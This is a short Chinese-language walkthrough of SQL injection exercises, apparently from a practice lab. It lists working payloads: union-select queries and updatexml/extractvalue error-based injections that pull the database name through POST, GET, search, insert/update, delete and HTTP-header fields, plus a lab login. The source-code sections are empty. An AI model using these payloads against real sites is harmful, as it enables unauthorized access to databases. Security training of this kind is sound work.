1.数字型注入(POST):
源码
:
payload: -1' union select 1,2 #
2.字符型注入(GET):
源码:
payload: 0'union select 1,database() #
3.搜索型注入
源码:
payload: 0' union select 1,2,database() #
4.XX型注入:
源码:
payload:0')union select 2,database() #
5.insert/update注入:
登陆框:
注册框:
注册页面的源码:
修改信息界面:
修改信息源码:
payload:1'or updatexml(1,concat(0x7e,(database())),0) or '
6.delete注入:
源码:
payload: 110 or extractvalue(1,concat(0x5e24,(database()))) or ''
7.http headr 头部注入:
账号:admin 密码:123456
源码:
payload:1' or updatexml(1,concat(0x7e,(database())),0) or '
抓包修改: